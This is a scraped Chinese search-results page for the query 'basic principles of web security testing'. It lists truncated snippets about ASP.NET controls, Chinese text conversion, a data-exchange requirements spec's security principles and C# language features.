    使用microsoft.web.ui.webcontrolsTabStrip与IFame组件,达到页切换效果 HttpModule 实现 ASP.Net (*.aspx) 中文简繁体自动转换,不用修改原有任何代码,直接部署即可! 服务器自定义开发二之客户端脚本回发 Web...
  • 数据交换需求规格说明书

    热门讨论 2011-03-01 14:57:51
    根据国家对网络与信息系统安全的基本要求,结合多年从事信息安全管理工作的实际体会,在制定系统安全性评价指标体系时应遵循如下原则: (1)符合国家有关信息与信息系统安全的法律和法规。 (2)满足用户及应用...
  • ● 一致且定义完善的基本类型集。 ● 对自动生成XML文档的内置支持。 ● 自动清理动态分配的内存。 ● 可以用用户定义的属性来标记类或方法。这可以用于文档,对编译有一定的影响(例如,把方法标记为只在调试版本...

空空如也

空空如也

1 2 3 4
收藏数 76
精华内容 30
关键字:

web安全测试的基本原则